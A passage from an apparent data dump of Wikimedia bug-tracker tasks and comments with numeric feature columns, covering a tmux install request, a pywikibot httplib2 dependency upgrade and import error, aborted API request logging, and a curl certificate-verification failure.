If this bug is only about that message and under the assumption it is bad and needs to be dealt with, then this bug should be closed as invalid.",,,1400523828,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,4.0,0.0,5.5,3.0,1.0,1.0,1.5,3.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,12.5,0.0,1.5,2.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,2.5,0.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,2.5,0.0,2.0,0.0,0.0,0.0,8.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,8.0,4.0,2.5,2.5,9.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,1.0,4.163636363636364,0.7181818181818183,"This is just debugging information to let you know a request was aborted. This is generally a good thing (e.g. if a request is no longer needed because of new information and the firing of a new request, the previous one should be aborted for efficiency).

Because the information was next to useless, it was removed from mediawiki.api.js in I7797c833745b4. The aborting still happens though, as it should.

If this bug is only about that message and under the assumption it is bad and needs to be dealt with, then this bug should be closed as invalid."
304348,"Aborted mediawiki.api requests are logged as errors (""mw.Api error: "" ""http"" {xhr: Object, textStatus: ""abort"", exception: ""abort""})","PS: I was on page
https://pt.wikipedia.org/w/index.php?title=L%C3%B3gica_proposicional&action=edit
when I noticed these.",,,1400363845,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vhyfb66m2hqqjjd642wl,task_subcomment,,True,c3,1,False,,,-59,True,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,29.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,14.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,0.8571428571428571,"PS: I was on page
URL
when I noticed these."
67426,Install tmux on tools-login and tools-dev,"Some users do code in unstable network connection (include me). When I reconnect the internet, all ssh sessions being disconected. So I must reconnect to ssh server, become tools account, reopen opened files and recovery vim swp files...

If we have tmux, all coding done in tmux and it is much less stressful...

thank you

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1400288700,1407078238.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,,False,PHID-TASK-igkjj634njsfmcx3jpze,task_description,resolved,True,c3,1,False,False,True,-59,True,5.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,4.035294117647059,0.7176470588235294,"Some users do code in unstable network connection (include me). When I reconnect the internet, all ssh sessions being disconected. So I must reconnect to ssh server, become tools account, reopen opened files and recovery vim swp files...

If we have tmux, all coding done in tmux and it is much less stressful...

thank you

--------------------------
**Version**: unspecified
**Severity**: normal"
303439,Install tmux on tools-login and tools-dev,"Change 135505 merged by coren:
Tools: Install user-requested packages

https://gerrit.wikimedia.org/r/135505",,,1401717324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9375,"Change 135505 merged by coren:
Tools: Install user-requested packages

GERRIT_URL"
303433,Install tmux on tools-login and tools-dev,"Change 135505 had a related patch set uploaded by Tim Landscheidt:
Tools: Install user-requested packages

https://gerrit.wikimedia.org/r/135505",,,1401156558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,False,,,-58,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,0.9545454545454546,"Change 135505 had a related patch set uploaded by Tim Landscheidt:
Tools: Install user-requested packages

GERRIT_URL"
303428,Install tmux on tools-login and tools-dev,"An equivalent tool, screen, is already installed on tools-login, but it seems reasonable to install tmux as well, as many people prefer it.",,,1400289798,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-igkjj634njsfmcx3jpze,task_subcomment,,True,c3,1,True,,,-59,True,3.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9,0.8333333333333334,"An equivalent tool, screen, is already installed on tools-login, but it seems reasonable to install tmux as well, as many people prefer it."
67189,httplib2: upgrade repo to 0.9,"https://github.com/jcgregorio/httplib2/releases/tag/v0.9 contains a cacert.txt that /does/ work for WMF domains, so we should:

 - update externals/httplib2 to 0.9, and
 - update setup.py to require httplib2 >= 0.9

--------------------------
**Version**: core-(2.0)
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68794",Needs Triage,90.0,1399813140,1413243210.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_description,resolved,True,c3,1,True,False,True,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.59375,0.625,"URL contains a cacert.txt that /does/ work for WMF domains, so we should:

 - update externals/httplib2 to 0.9, and
 - update setup.py to require httplib2 >= 0.9

--------------------------
**Version**: core-(2.0)
**Severity**: enhancement
**See Also**:
URL"
303849,httplib2: upgrade repo to 0.9,"Change 138774 merged by jenkins-bot:
Add soft dependency on httplib2 0.9.0 for cacerts

https://gerrit.wikimedia.org/r/138774",,,1411373146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 138774 merged by jenkins-bot:
Add soft dependency on httplib2 0.9.0 for cacerts

GERRIT_URL"
303841,httplib2: upgrade repo to 0.9,"Change 138774 had a related patch set uploaded by John Vandenberg:
Add soft dependency on httplib2 0.9.0 for cacerts

https://gerrit.wikimedia.org/r/138774",,,1410241284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 138774 had a related patch set uploaded by John Vandenberg:
Add soft dependency on httplib2 0.9.0 for cacerts

GERRIT_URL"
303833,httplib2: upgrade repo to 0.9," - update externals/httplib2 to 0.9, and

I think the externals upgrade was done here:

https://gerrit.wikimedia.org/r/#/c/137369/

http://git.wikimedia.org/log/pywikibot%2Fexternals%2Fhttplib2.git

And the external in pywikibot was updated here:

http://git.wikimedia.org/commitdiff/pywikibot%2Fcore.git/5f8bcfa68c3dbd83bc13ff9c19f9997e4adf6829
https://gerrit.wikimedia.org/r/#/c/151589/

- update setup.py to require httplib2 >= 0.9

https://gerrit.wikimedia.org/r/#/c/138774/",,,1410237646,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ycxdri4g4iz3cfrk2ntd,task_subcomment,,True,c3,1,True,,,-43,True,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.58,0.6," - update externals/httplib2 to 0.9, and

I think the externals upgrade was done here:

URL

URL

And the external in pywikibot was updated here:

URL
URL

- update setup.py to require httplib2 >= 0.9

URL"
67181,Fix how interwiki.py handles non-returned HTTP errors,"page.put returns nothing but interwiki.py expects status codes to be returned, resulting in a TypeError after one page update at maximum.

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1399805220,1399805322.0,PHID-USER-meyjnh7zdarfb7u7upzo,False,,False,PHID-TASK-gqm62wb7sxcsbja55uiw,task_description,resolved,True,c3,1,False,False,True,-60,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,4.476190476190476,0.7857142857142857,"page.put returns nothing but interwiki.py expects status codes to be returned, resulting in a TypeError after one page update at maximum.

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
303490,Fix how interwiki.py handles non-returned HTTP errors,Already resolved at https://gerrit.wikimedia.org/r/#/c/132711/,,,1399805322,,PHID-USER-meyjnh7zdarfb7u7upzo,False,,,PHID-TASK-gqm62wb7sxcsbja55uiw,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Already resolved at URL
67089,Error: No module named httplib2,"I can't use pywikibot in my pc, it return the error ""ImportError: No module named httplib2"". I'm using core version.

$ git pull
Already up-to-date.
$ git submodule foreach git pull
Entering 'externals/httplib2'
Already up-to-date.
Entering 'scripts/i18n'
Already up-to-date.
$ python
Python 2.7.3 (default, Apr 14 2012, 08:58:41) [GCC] on linux2
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
>>> import pywikibot
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""pywikibot/__init__.py"", line 427, in <module>
    from .page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
  File ""pywikibot/page.py"", line 17, in <module>
    import pywikibot.site
  File ""pywikibot/site.py"", line 34, in <module>
    from pywikibot.data import api
  File ""pywikibot/data/api.py"", line 13, in <module>
    from pywikibot.comms import http
  File ""pywikibot/comms/http.py"", line 31, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**OS**: Linux
**Platform**: PC",Needs Triage,90.0,1399663020,1399747303.0,PHID-USER-gkosbp7ibty73tjucrop,False,,False,PHID-TASK-pck3vqidw5gaxeet6aca,task_description,resolved,True,c3,1,False,False,True,-60,True,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,2.3333333333333335,2.0,0.0,0.0,0.0,1.0,0.0,1.6666666666666667,6.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,20.666666666666668,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,12.666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,1.3333333333333333,6.333333333333333,9.333333333333334,0.0,8.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.6666666666666666,5.333333333333333,3.4086531986531985,0.5081481481481481,"I can't use pywikibot in my pc, it return the error ""ImportError: No module named httplib2"". I'm using core version.

$ git pull
Already up-to-date.
$ git submodule foreach git pull
Entering 'externals/httplib2'
Already up-to-date.
Entering 'scripts/i18n'
Already up-to-date.
$ python
Python 2.7.3 (default, Apr 14 2012, 08:58:41) [GCC] on linux2
Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
QUOTE
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""pywikibot/__init__.py"", line 427, in <module>
    from .page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
  File ""pywikibot/page.py"", line 17, in <module>
    import pywikibot.site
  File ""pywikibot/site.py"", line 34, in <module>
    from pywikibot.data import api
  File ""pywikibot/data/api.py"", line 13, in <module>
    from pywikibot.comms import http
  File ""pywikibot/comms/http.py"", line 31, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**OS**: Linux
**Platform**: PC"
299068,Error: No module named httplib2,Added to https://www.mediawiki.org/wiki/Manual:Pywikibot/Create_your_own_script,,,1399747303,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Added to URL
299064,Error: No module named httplib2,"Merlijn, the usage should be documented anywhere.",,,1399706285,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,"Merlijn, the usage should be documented anywhere."
299058,Error: No module named httplib2,"Change 132497 merged by jenkins-bot:
Bug 65089: add 'shell' script

https://gerrit.wikimedia.org/r/132497",,,1399706192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8947368421052632,"Change 132497 merged by jenkins-bot:
Bug 65089: add 'shell' script

GERRIT_URL"
299049,Error: No module named httplib2,"Ok, now it is working :)

I used to use the old trunk version and I didn't know that

Thank you",,,1399667406,,PHID-USER-gkosbp7ibty73tjucrop,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.08,0.92,"Ok, now it is working :)

I used to use the old trunk version and I didn't know that

Thank you"
299043,Error: No module named httplib2,"After that patch is merged, you can also run

python pwb.py shell

to get an interactive shell (like e.g. Django, where you run 'manage.py shell')",,,1399665262,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,9.0,3.0,0.0,6.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.757575757575758,0.7878787878787878,"After that patch is merged, you can also run

python pwb.py shell

to get an interactive shell (like e.g. Django, where you run 'manage.py shell')"
299039,Error: No module named httplib2,"Change 132497 had a related patch set uploaded by Merlijn van Deen:
Bug 65089: add 'shell' script

https://gerrit.wikimedia.org/r/132497",,,1399665128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"Change 132497 had a related patch set uploaded by Merlijn van Deen:
Bug 65089: add 'shell' script

GERRIT_URL"
299036,Error: No module named httplib2,"There are two ways to use pywikibot

1) as a library. Run ""python setup.py develop""; this will install pywikibot in your python library folder

2) as a 'portable app'. In that case, you have to run everything through pwb.py to patch up your paths. Run ""python pwb.py scriptname"" to run a script, or ""python -i pwb.py"" to get a shell.",,,1399664749,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-pck3vqidw5gaxeet6aca,task_subcomment,,True,c3,1,True,,,-60,True,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,4.0,14.0,3.0,0.0,10.0,0.0,4.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.4936708860759493,0.620253164556962,"There are two ways to use pywikibot

1) as a library. Run ""python setup.py develop""; this will install pywikibot in your python library folder

2) as a 'portable app'. In that case, you have to run everything through pwb.py to patch up your paths. Run ""python pwb.py scriptname"" to run a script, or ""python -i pwb.py"" to get a shell."
66483,WMFLabs: bin/curl says noc.wikimedia.org has invalid certificate,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
+ curl https://noc.wikimedia.org/conf/all.dblist
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1398528180,1412588293.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-6xo5eguri365pln23x75,task_description,resolved,True,c3,1,True,False,True,-62,True,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,4.333333333333333,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,5.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,1.3333333333333333,1.0,6.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,3.3333333333333335,0.0,1.0,5.666666666666667,8.666666666666666,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,